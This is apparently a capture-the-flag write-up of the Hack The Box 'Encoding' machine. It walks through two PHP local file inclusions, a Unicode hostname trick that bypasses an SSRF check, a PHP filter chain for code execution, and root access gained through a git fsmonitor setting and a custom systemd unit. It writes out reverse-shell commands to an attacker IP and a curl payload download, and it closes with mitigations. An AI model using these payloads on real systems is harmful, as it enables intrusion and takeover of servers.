Hack The Box Walkthrough - Encoding

Hack The Box Walkthrough - Encoding

2023/04/15    

This was a really fun box. I had to exploit two LFI vulnerabilities and PHP filters to get a foothold. Then exploit git configuration and systemd to escalate my privileges.

Enumeration

I started by scanning for open ports.

$ rustscan -a target -- -A | tee rust.txt
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/home/ehogue/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.11.198:22
Open 10.10.11.198:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p  ")

[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-04 08:26 EST

...

Scanned at 2023-03-04 08:26:12 EST for 7s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIzAFurw3qLK4OEzrjFarOhWslRrQ3K/MDVL2opfXQLI+zYXSwqofxsf8v2MEZuIGj6540YrzldnPf8CTFSW2rk=
|   256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPTtbUicaITwpKjAQWp8Dkq1glFodwroxhLwJo6hRBUK
80/tcp open  http    syn-ack Apache httpd 2.4.52 ((Ubuntu))
|_http-title: HaxTables
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 08:26
Completed NSE at 08:26, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 08:26
Completed NSE at 08:26, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 08:26
Completed NSE at 08:26, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.92 seconds

Port 22 (SSH) and 80 (HTTP) were open. I also checked for UDP ports.

$ sudo nmap -sU target -oN nmapUdp.txt
[sudo] password for ehogue:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-04 08:26 EST
Nmap scan report for target (10.10.11.198)
Host is up (0.049s latency).
Not shown: 999 closed udp ports (port-unreach)
PORT   STATE         SERVICE
68/udp open|filtered dhcpc

Nmap done: 1 IP address (1 host up) scanned in 1019.01 seconds

Only DHCP was open.

I did not see any redirects, but when I looked at the site, I saw that there was an API at ‘api.haxtables.htb’. I added ‘haxtables.htb’ and ‘api.haxtables.htb’ to my hosts file and scanned for other subdomains.

$ wfuzz -c -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -t30 --hw 137 -H "Host:FUZZ.haxtables.htb" "http://haxtables.htb"

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://haxtables.htb/
Total requests: 5000

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000051:   200        0 L      0 W        0 Ch        "api"
000000177:   403        9 L      28 W       284 Ch      "image"
000002700:   400        10 L     35 W       305 Ch      "m."
000002795:   400        10 L     35 W       305 Ch      "ns2.cl.bellsouth.net."
000002883:   400        10 L     35 W       305 Ch      "ns1.viviotech.net."
000002885:   400        10 L     35 W       305 Ch      "ns2.viviotech.net."
000003050:   400        10 L     35 W       305 Ch      "ns3.cl.bellsouth.net."
000004083:   400        10 L     35 W       305 Ch      "quatro.oweb.com."
000004082:   400        10 L     35 W       305 Ch      "jordan.fortwayne.com."
000004081:   400        10 L     35 W       305 Ch      "ferrari.fortwayne.com."

Total time: 0
Processed Requests: 4973
Filtered Requests: 4963
Requests/sec.: 0

It found ‘image.haxtables.htb’, I added it with the other domains.

Main Website

I loaded the main website in a browser.

Main Site

The site allowed performing some transformations on strings and integers. There was also a section for images, but it was ‘Coming soon’.

The Encoding menu took us to the pages to modify strings or integers. The URLs of those pages were interesting: ‘http://haxtables.htb/index.php?page=string’. They had a ‘page’ parameter that looked like it could be vulnerable to Local File Inclusion (LFI). I tried a few things, but nothing worked. The code was validating the value passed in.

API

The API menu took me to the API documentation with some examples on how to use it. And a hint about the API supporting more features not exposed in the UI.

API

You can use our live API to make these convertions easier. There are some additional features which the API supports that our application doesn’t. This application itself uses the API internally as the backbone.

I scanned the API for hidden endpoints.

$ feroxbuster -u http://api.haxtables.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -o feroxApi.txt -x php

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://api.haxtables.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💾  Output File           │ feroxApi.txt
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET        0l        0w        0c http://api.haxtables.htb/
403      GET        9l       28w      282c http://api.haxtables.htb/.php
403      GET        9l       28w      282c http://api.haxtables.htb/.html
403      GET        9l       28w      282c http://api.haxtables.htb/.htm
403      GET        9l       28w      282c http://api.haxtables.htb/.html.php
200      GET        0l        0w        0c http://api.haxtables.htb/index.php
403      GET        9l       28w      282c http://api.haxtables.htb/.htm.php
403      GET        9l       28w      282c http://api.haxtables.htb/.htaccess
403      GET        9l       28w      282c http://api.haxtables.htb/.htaccess.php
200      GET        0l        0w        0c http://api.haxtables.htb/utils.php
301      GET        9l       28w      319c http://api.haxtables.htb/v2 => http://api.haxtables.htb/v2/
403      GET        9l       28w      282c http://api.haxtables.htb/.phtml
301      GET        9l       28w      319c http://api.haxtables.htb/v1 => http://api.haxtables.htb/v1/
301      GET        9l       28w      319c http://api.haxtables.htb/v3 => http://api.haxtables.htb/v3/
403      GET        9l       28w      282c http://api.haxtables.htb/.htc

...

403      GET        9l       28w      282c http://api.haxtables.htb/.html_files.php
403      GET        9l       28w      282c http://api.haxtables.htb/.htmlpar.php
403      GET        9l       28w      282c http://api.haxtables.htb/.htmlprint.php
403      GET        9l       28w      282c http://api.haxtables.htb/.hts.php
[####################] - 1m    504704/504704  0s      found:91      errors:0
[####################] - 1m    126176/126176  1473/s  http://api.haxtables.htb/
[####################] - 0s    126176/126176  0/s     http://api.haxtables.htb/v2/ => Directory listing (add -e to scan)
[####################] - 0s    126176/126176  0/s     http://api.haxtables.htb/v1/ => Directory listing (add -e to scan)
[####################] - 0s    126176/126176  0/s     http://api.haxtables.htb/v3/ => Directory listing (add -e to scan)

There were 3 versions of the API, and they had directory listing available. V1 and V3 of the API had two endpoints.

Directory Listing

V2 was blocked, apparently it had security issues.

{
  "message": "This resource is under construction and unavailable for public access due to security issues.!"
}

I could not load it directly, but I quickly found out that I could get to it by modifying the POST request that the UI sent when I used the encoding functions. The UI was using v3, I just changed it to v2.

POST /handler.php HTTP/1.1
Host: haxtables.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
Origin: http://haxtables.htb
Connection: keep-alive
Referer: http://haxtables.htb/index.php?page=string
Content-Length: 69

{"action":"hex2str","data":"aaaaaaaaa","uri_path":"/v2/tools/string"}
HTTP/1.1 200 OK
Date: Sat, 04 Mar 2023 14:00:55 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 14

{"data":false}

I spent a lot of time trying to find the security issues in v2, but I did not find anything.

LFI

The documentation showed that the API had a ‘file_url’ parameter that allowed loading the data to convert from a URL instead of passing it directly. I tried to point the ‘file_url’ to my machine, the server loaded the data from my machine. I tried redirecting it to another URL, but it did not appear to follow redirects.

I also tried to get it to load version 2 of the API from version 3.

json_data = {
  'action': 'b64encode',
  'file_url' : 'http://api.haxtables.htb/v2/tools/string/index.php'
}

response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
print(response.text)

The URL was blocked.

$ python test.py
{"message":"Unacceptable URL"}

Next, I tried to get it to load a file from the server.

import requests

json_data = {
  'action': 'b64encode',
  'file_url' : 'file:///etc/passwd'
}

response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
print(response.text)

This worked.

$ python test.py | jq ".data" | tr -d '"' | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
svc:x:1000:1000:svc:/home/svc:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:120:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

I modified the code to take the file to download as a parameter and used it to download all the source code I could find on the server.

The code that was vulnerable was using curl to download the file.

function get_url_content($url){
  $domain = parse_url($url, PHP_URL_HOST);
  if (gethostbyname($domain) === "127.0.0.1") {
    jsonify(["message" => "Unacceptable URL"]);
  }

  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2);
  curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 0);
  curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  $url_content =  curl_exec($ch);
  curl_close($ch);
  return $url_content;
}

I could not use it to get code execution. It was also validating the domain to try to prevent Server Side Request Forgery (SSRF).

I also wrote a small script to look for other endpoints in v2.

import requests
import json

file = open('/usr/share/seclists/Discovery/Web-Content/api/api-endpoints-res.txt', 'r')
for line in file:
    file_to_get = line.strip()

    json_data = {
        'action': 'b64encode',
        'file_url' : f"file:///var/www/api/v2/tools/{file_to_get}/index.php"
    }

    response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)

    json_data = json.loads(response.text)

    if (len(json_data['data']) > 0):
        print(file_to_get)

It did not find anything new.

More LFI

I tried looking at the site on ‘image.haxtables.htb’, but I was blocked. Looking at the Apache config I got through the LFI, I saw that only localhost was allowed to access it.

<VirtualHost *:80>
        ServerName image.haxtables.htb
        ServerAdmin webmaster@localhost
        
	DocumentRoot /var/www/image

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
	#SecRuleEngine On

...

        <Directory /var/www/image>
                Deny from all
                Allow from 127.0.0.1
                Options Indexes FollowSymLinks
                AllowOverride All
                Require all granted
        </DIrectory>

</VirtualHost>

I used the LFI in the API to extract the code source for the image site. The code made it look like it was a git repository, so I extracted the .git folder also.

I looked at the code, and I found another LFI vulnerability.

<?php

include_once 'utils.php';

if (isset($_GET['page'])) {
    $page = $_GET['page'];
    include($page);

} else {
    echo jsonify(['message' => 'No page specified!']);
}

?>

This one used include to get the page without any validation. It would allow me to get code execution, but I was unable to access it.

I went back to the code that loaded a URL in the API.

function get_url_content($url){
  $domain = parse_url($url, PHP_URL_HOST);
  if (gethostbyname($domain) === "127.0.0.1") {
    jsonify(["message" => "Unacceptable URL"]);
  }

  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $url);

  ...
}

The code was using parse_url to split the URL into parts, then gethostbyname to make sure the domain did not point to localhost, and finally curl to make the request.

I needed to find something that would not resolve to localhost in PHP, but still work in curl. I searched for vulnerabilities in all those functions. I tried multiple things like adding null bytes, and carriage returns, …

The name of the box and its image pointed to UTF-8, so I also tried adding UTF characters at the beginning and the end, but it broke curl. I found the slide to a Black Hat presentation that had many things to try. And I finally got it. I needed to send a request to ‘image.haxtabⓛⓔs.htb’. It did not resolve to localhost in PHP, but it worked in curl, and Apache sent the request to the correct vhost.

I modified the LFI script to exploit the second LFI.

#!/usr/bin/env python

import requests
import sys
import json
import base64

json_data = {
    'action': 'b64encode',
    'file_url' : "http://image.haxtabⓛⓔs.htb/actions/action_handler.php?page=/etc/passwd"
}

response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)

json_data = json.loads(response.text)

if 'data' not in json_data:
    print('Failed')
    print(json_data)
    exit()

decoded = base64.b64decode(json_data['data']).decode()
print(decoded)
$ ./imageLFI.py
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

...

It worked. I then tried to get a file from my machine.

'file_url' : "http://image.haxtabⓛⓔs.htb/actions/action_handler.php?page=http://10.10.14.8/rce.php"

This failed. allow_url_include must have been disabled.

I spent a lot of time trying to find PHP file to include that would allow me to run arbitrary code. Or find a way to write a file on the server. I did not find any.

Then I remembered the PHP Filter Chain technique. I cloned the generator repository to my machine and tried a simple command.

$ python3 php_filter_chain_generator.py --chain '<?php echo `id`; ?>'
[+] The following gadget chain will generate the following code : <?php echo `id`; ?> (base64 value: PD9waHAgZWNobyBgaWRgOyA/Pg)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7 ... =php://temp

I used this filter chain as the page payload.

$ ../imageLFI.py                                                     
b'uid=33(www-data) gid=33(www-data) groups=33(www-data)\n\x01\xb2B\x940\xf8\x00\xf4\x00\xf4>\x00=\x00=\x0f\x80\x0f@\x0fC\xe0\x03\xd0\x03\xd0\xf8\x00\xf4\x00\xf4>\x00=\x00=\x0f\x80\x0f@\x0fC\xe0\x03\xd0\x03\xd0\xf8\x00\xf4\x00\xf4>\x00=\x00=\x0f\x80\x0f@\x0fC\xe0\x03\xd0\x03\xd0\xf8\x00\xf4\x00\xf4>\x00=\x00=\x0f\x80\x0f@\x0fC\xe0\x03\xd0\x03\xd0\xf8\x00\xf4\x00\xf4>\x00=\x00=\x0f\x80\x0f@\x0fC\xe0\x03\xd0\x03\xd0\xf8\x00\xf4\x00\xf4>\x00=\x00=\x0f\x80\x0f@\x0fC\xe0\x03\xd0\x03\xd0\xf8\x00\xf4\x00\xf4>\x00=\x00=\x0f\x80\x0f@\x0f'

The result of the command was returned with some junk.

Next, I wrote a small script to open a reverse shell and used the filter to download it on the server.

$ cat shell.php       
<?php
`bash -c 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1'`;

$ python php_filter_chain_generator.py  --chain '<?php `curl 10.10.14.8/shell.php -o /tmp/shell.php`; ?>'
[+] The following gadget chain will generate the following code : <?php `curl 10.10.14.8/shell.php -o /tmp/shell.php`; ?> (base64 value: PD9waHAgYGN1cmwgMTAuMTAuMTQuOC9zaGVsbC5waHAgLW8gL3RtcC9zaGVsbC5waHBgOyA/Pg)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7| ...

$ python -m http.server 80                                                
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Last, I used the second LFI to include the PHP file.

'file_url' : "http://image.haxtabⓛⓔs.htb/actions/action_handler.php?page=/tmp/shell.php"

I got a hit on my netcat listener.

$ nc -klvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.198] 46612
bash: cannot set terminal process group (833): Inappropriate ioctl for device
bash: no job control in this shell
www-data@encoding:~/image/actions$ ls -la
ls -la
total 12
drwxr-xr-x 2 svc svc 4096 Mar  5 18:21 .
drwxr-xr-x 7 svc svc 4096 Mar  5 18:21 ..
-rw-r--r-- 1 svc svc  191 Mar  5 18:21 action_handler.php
-rw-r--r-- 1 svc svc    0 Mar  5 18:21 image2pdf.php
www-data@encoding:~/image/actions$ whoami
whoami
www-data

Git Exploit

Once connected to the server I checked if I could run anything with sudo.

www-data@encoding:~/image/actions$ sudo -l
sudo -l
Matching Defaults entries for www-data on encoding:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User www-data may run the following commands on encoding:
    (svc) NOPASSWD: /var/www/image/scripts/git-commit.sh

I was able to run a script to commit changes in the image repository as the svc user.

#!/bin/bash

u=$(/usr/bin/git --git-dir=/var/www/image/.git  --work-tree=/var/www/image ls-files  -o --exclude-standard)

if [[ $u ]]; then
        /usr/bin/git --git-dir=/var/www/image/.git  --work-tree=/var/www/image add -A
else
        /usr/bin/git --git-dir=/var/www/image/.git  --work-tree=/var/www/image commit -m "Commited from API!" --author="james <james@haxtables.htb>"  --no-verify
fi

The script checks if there are any new files in the repository. If there are any, they are added to the index. If there are none, the code commits any changes, without running pre-commit hooks.

I also saw a .gitconfig file in ‘/var/www/’.

www-data@encoding:~/image$ cat /var/www/.gitconfig
[safe]
        directory = /var/www/image

The safe directory configuration allows using git configuration and hooks in the repository, even if they are not owned by the user running the command. That meant I could create a configuration that would be used when I ran the command as svc.

I looked at the permissions on the git configuration. Only svc was able to write to the file

svc@encoding:/var/www/image$ ls -la /var/www/image/
total 36
drwxr-xr-x  7 svc  svc  4096 Mar  7 01:54 .
drwxr-xr-x  5 root root 4096 Mar  7 01:54 ..
drwxr-xr-x  2 svc  svc  4096 Mar  7 01:54 actions
drwxr-xr-x  3 svc  svc  4096 Mar  7 01:54 assets
drwxrwxr-x+ 8 svc  svc  4096 Mar  7 01:54 .git
drwxr-xr-x  2 svc  svc  4096 Mar  7 01:54 includes
-rw-r--r--  1 svc  svc    81 Mar  7 01:54 index.php
drwxr-xr-x  2 svc  svc  4096 Mar  7 01:54 scripts
-rw-r--r--  1 svc  svc  1250 Mar  7 01:54 utils.php

svc@encoding:/var/www/image$ ls -la /var/www/image/.git/
total 52
drwxrwxr-x+  8 svc svc 4096 Mar  7 01:54 .
drwxr-xr-x   7 svc svc 4096 Mar  7 01:54 ..
drwxrwxr-x+  2 svc svc 4096 Mar  7 01:54 branches
-rw-rwxr--+  1 svc svc   17 Mar  7 01:54 COMMIT_EDITMSG
-rw-r--r--+  1 svc svc   92 Mar  7 01:54 config
-rw-rwxr--+  1 svc svc   73 Mar  7 01:54 description
-rw-rwxr--+  1 svc svc   23 Mar  7 01:54 HEAD
drwxrwxr-x+  2 svc svc 4096 Mar  7 01:54 hooks
-rw-rwxr--+  1 svc svc  821 Mar  7 01:54 index
drwxrwxr-x+  2 svc svc 4096 Mar  7 01:54 info
drwxrwxr-x+  3 svc svc 4096 Mar  7 01:54 logs
drwxrwxr-x+ 22 svc svc 4096 Mar  7 01:54 objects
drwxrwxr-x+  4 svc svc 4096 Mar  7 01:54 refs

But there was a + sign at the end of the file permissions. I had never seen that before. It meant there were additional permissions on the files.

svc@encoding:/var/www/image$ getfacl .git
# file: .git
# owner: svc
# group: svc
user::rwx
user:www-data:rwx
group::r-x
mask::rwx
other::r-x

svc@encoding:/var/www/image$ getfacl .git/config
# file: .git/config
# owner: svc
# group: svc
user::rw-
user:www-data:r--
group::r--
mask::r--
other::r--

With those permissions, www-data could write in .git. So I could overwrite the config file.

I added a command to run as the file system monitor in the existing ‘.git/config’ file and ran the script.

www-data@encoding:/tmp$ cat /var/www/image/.git/config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        fsmonitor = "bash -c 'bash -i >& /dev/tcp/10.10.14.8/4445 0>&1'"

www-data@encoding:/tmp$ sudo -u svc /var/www/image/scripts/git-commit.sh

I got a reverse shell as svc.

$ nc -klvnp 4445
listening on [any] 4445 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.198] 57242
svc@encoding:/var/www/image$

svc@encoding:/var/www/image$ cd
cd

svc@encoding:~$ ls -la
ls -la
total 40
drwxr-x--- 5 svc  svc  4096 Jan 23 18:23 .
drwxr-xr-x 3 root root 4096 Jan 13 16:25 ..
lrwxrwxrwx 1 svc  svc     9 Nov 11 14:31 .bash_history -> /dev/null
-rw-r--r-- 1 svc  svc   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 svc  svc  3771 Jan  6  2022 .bashrc
drwx------ 3 svc  svc  4096 Jan 13 16:25 .cache
-rw-rw-r-- 1 svc  svc    85 Nov  8 16:37 .gitconfig
drwx------ 3 svc  svc  4096 Jan 13 16:25 .gnupg
-rw-r--r-- 1 svc  svc   807 Jan  6  2022 .profile
drwx------ 2 svc  svc  4096 Jan 13 16:25 .ssh
-rw-r----- 1 root svc    33 Mar  5 12:05 user.txt

svc@encoding:~$ cat user.txt
cat user.txt
REDACTED

Systemd Exploit

The svc user had a private ssh key in their home folder. I downloaded it to my machine and used it to reconnect. Then I looked for anything I could run with sudo.

svc@encoding:~$ sudo -l
Matching Defaults entries for svc on encoding:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on encoding:
    (root) NOPASSWD: /usr/bin/systemctl restart *

I could restart a service with systemctl. I found a technique that created a new service by adding a file in ‘/etc/systemd/system/’.

Just as with the git repository, the normal file permissions did not allow me to write to the folder. But the ACL did.

svc@encoding:/var/www/image$ ls -ld /etc/systemd/system/
drwxrwxr-x+ 22 root root 4096 Mar 10 00:36 /etc/systemd/system/

svc@encoding:/var/www/image$ getfacl /etc/systemd/system/
getfacl: Removing leading '/' from absolute path names
# file: etc/systemd/system/
# owner: root
# group: root
user::rwx
user:svc:-wx
group::rwx
mask::rwx
other::r-x

I created a new service to open a reverse shell to my machine.

svc@encoding:~$ cat root.service
[Unit]
Description=pwn

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1'

svc@encoding:~$ cp root.service /etc/systemd/system/

sudo systemctl restart root.service

When the service restarted, I got the shell in my listener.

$ nc -klvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.198] 42394
bash: cannot set terminal process group (5229): Inappropriate ioctl for device
bash: no job control in this shell

root@encoding:/# cat /root/root.txt
cat /root/root.txt
REDACTED

Mitigation

There were 2 LFI vulnerabilities in this box. The first one had some validations, but it should have made sure that the scheme was http or https. The URL should also be validated with filter_var. This would have rejected the URL with the UTF-8.

<?php
$url = 'http://haxtabⓛⓔs.htb/test';
echo 'Original: ' . $url . "\n";
echo 'Filtered: ' . filter_var($url, FILTER_VALIDATE_URL) . "\n";
$ php test.php
Original: http://haxtabⓛⓔs.htb/test
Filtered: 

The second LFI was caused by an include of the page passed by the user. This is looking for trouble. There should have been some validation around the page passed in. If the goal was to show a page of the application, the code should have kept an allowed list of pages and made sure the page was valid.

Another issue was with the permissions in the git repository. The safe directory setting allowed running code as another user. Without it, my fsmonitor configuration would have been ignored. And the ACL allowed me to write to a file that should have been protected.

The last issue with the permissions to restart any service in systemd. That should have allowed me to only restart the existing services. But since I was able to write in ‘/etc/systemd/system/’, I was able to create a new service to restart and execute my code.